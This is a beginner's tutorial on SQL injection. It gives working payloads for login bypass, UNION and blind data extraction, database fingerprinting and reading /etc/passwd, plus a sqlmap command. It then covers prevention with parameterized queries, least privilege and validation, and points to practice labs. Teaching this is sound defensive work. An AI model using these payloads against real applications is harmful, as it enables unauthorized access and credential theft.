SQL Injection for Beginners: Examples and Prevention

What is SQL Injection?

SQL injection (SQLi) is a code injection technique that exploits vulnerabilities in applications that build SQL queries using unsanitized user input. When an application directly concatenates user input into database queries, attackers can manipulate the query structure to access unauthorized data or perform malicious operations.

Consider a simple login form that checks credentials against a database:

-- Vulnerable query construction in PHP
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";

If a user enters admin as the username and ' OR '1'='1 as the password, the resulting query becomes:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

Since '1'='1' is always true, this query returns all users, effectively bypassing authentication entirely.

How SQL Injection Attacks Work

Understanding the mechanics of SQL injection helps you identify vulnerable code and craft effective defenses. Here's the typical attack flow:

The Role of User Input

SQL injection exploits the trust applications place in user input. Any data that flows from users into SQL queries is a potential attack vector:

• 1 Form fields: Login credentials, search queries, registration data
• 2 URL parameters: Product IDs, page numbers, filter options
• 3 HTTP headers: User-Agent, Referer, Cookie values
• 4 Hidden fields: Form tokens, user IDs, product quantities

Types of SQL Injection

SQL injection attacks fall into three main categories based on how attackers retrieve information from the database:

Error-Based SQL Injection

Error-based SQLi relies on database error messages to extract information. When verbose error reporting is enabled, attackers can craft queries that reveal database structure:

-- Input that triggers an informative error
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

The database attempts to convert a table name to an integer, which fails and exposes the table name in the error message.

Union-Based SQL Injection

Union-based attacks use the UNION SELECT statement to combine results from multiple queries. The attacker first determines the number of columns, then extracts data:

-- Step 1: Find column count using ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  (error here means 2 columns)

-- Step 2: Extract data using UNION
' UNION SELECT username, password FROM users--

Boolean-Based Blind SQL Injection

When error messages are suppressed, attackers ask true/false questions and observe how the application responds:

-- If the page loads normally, first character of password is 'a' or later
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') > 'a'--

-- Narrow down character by character
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 's'--

Time-Based Blind SQL Injection

When even boolean differences aren't visible, attackers use database sleep functions to infer results based on response time:

-- If response takes 5 seconds, the condition is true
' AND IF(1=1, SLEEP(5), 0)--

-- Extract data one character at a time
' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='s', SLEEP(5), 0)--

Common SQL Injection Attack Examples

Let's examine practical SQL injection scenarios you might encounter during penetration testing or security assessments.

Authentication Bypass

The classic "admin without password" attack uses boolean logic to bypass login verification:

Username: admin'--
Password: anything

-- Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- Everything after -- is treated as a comment

Data Extraction with UNION

Suppose a product page uses this URL: product.php?id=5. An attacker can extract data from other tables:

-- Original query
SELECT name, price, description FROM products WHERE id = 5

-- Malicious URL: product.php?id=5 UNION SELECT username, password, email FROM users--
-- Results display user credentials instead of product info

Database Fingerprinting

Identifying the database type helps attackers choose appropriate payloads:

-- MySQL: Returns version like "8.0.32"
' UNION SELECT @@version, NULL, NULL--

-- SQL Server: Returns version info
' UNION SELECT @@version, NULL, NULL--

-- PostgreSQL
' UNION SELECT version(), NULL, NULL--

-- Oracle
' UNION SELECT banner FROM v$version WHERE rownum=1--

Reading System Files (MySQL)

On misconfigured MySQL servers, attackers can read files from the filesystem:

-- Read /etc/passwd on Linux
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL, NULL--

How to Detect SQL Injection Vulnerabilities

Finding SQL injection requires systematic testing of all user input points. Here are the primary techniques:

Manual Testing Checklist

• 1 Single quote test: Enter ' and look for database errors or unexpected behavior
• 2 Boolean conditions: Compare responses to 1=1 (true) vs 1=2 (false)
• 3 Time delays: Inject SLEEP(5) and measure response time differences
• 4 String concatenation: Test if test equals te'+'st (SQL Server) or te'||'st (Oracle)

Automated Tools

Several tools automate SQL injection detection and exploitation:

Example SQLMap command for testing a URL parameter:

# Basic SQLMap scan
sqlmap -u "http://target.example/product.php?id=5" --dbs

# Options explained:
# -u: Target URL with injectable parameter
# --dbs: Enumerate available databases

How to Prevent SQL Injection

Preventing SQL injection requires a defense-in-depth approach. No single technique is foolproof, so implement multiple layers of protection.

1. Use Parameterized Queries (Prepared Statements)

Parameterized queries separate SQL code from user data, making injection impossible. This is the most effective defense:

// VULNERABLE - String concatenation
$query = "SELECT * FROM users WHERE username = '" . $username . "'";

// SECURE - Parameterized query (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

Here's the equivalent in other languages:

# Python with SQLite
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

// Java with JDBC
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

// Node.js with mysql2
connection.execute("SELECT * FROM users WHERE username = ?", [username]);

2. Use Stored Procedures Correctly

Stored procedures can provide protection when implemented properly, but they're not automatically safe. Avoid dynamic SQL within procedures:

-- VULNERABLE stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  EXEC('SELECT * FROM users WHERE username = ''' + @username + '''')

-- SECURE stored procedure
CREATE PROCEDURE GetUser(@username VARCHAR(50))
AS
  SELECT * FROM users WHERE username = @username

3. Input Validation and Sanitization

While not a complete defense, input validation adds another layer of security:

• A Whitelist validation: Only accept expected characters (alphanumeric for usernames)
• B Type checking: Ensure numeric parameters are actually numbers
• C Length limits: Restrict input length to expected maximums

// Validate that ID is numeric before use
if (!is_numeric($_GET['id'])) {
    die("Invalid product ID");
}
$id = (int) $_GET['id'];

4. Apply Least Privilege

Database accounts used by web applications should have minimal permissions:

• Create separate accounts for read-only and write operations
• Never use database administrator accounts for web applications
• Restrict access to system tables and sensitive stored procedures
• Disable dangerous functions like xp_cmdshell in SQL Server

5. Use Web Application Firewalls (WAF)

WAFs can block common SQL injection patterns as an additional layer, but should not be your primary defense. Attackers frequently find bypasses for WAF rules.

Legal and Ethical Considerations

SQL injection testing must only be performed on systems you own or have explicit written authorization to test. Unauthorized database access is a criminal offense in most jurisdictions.

For learning and practice, always use intentionally vulnerable applications or authorized lab environments.

Practice SQL Injection Safely

The best way to understand SQL injection is hands-on practice in safe, legal environments. Here are resources designed specifically for learning:

For comprehensive learning, the SQL Injection course covers theory, detection, exploitation, and prevention in depth. Combine it with tools training from the SQLMap cheat sheet to build practical skills.

Other Practice Platforms

• DVWA (Damn Vulnerable Web Application): Classic practice app with multiple difficulty levels
• SQLi-labs: Focused collection of SQL injection challenges
• PortSwigger Web Security Academy: Free labs from the creators of Burp Suite

Frequently Asked Questions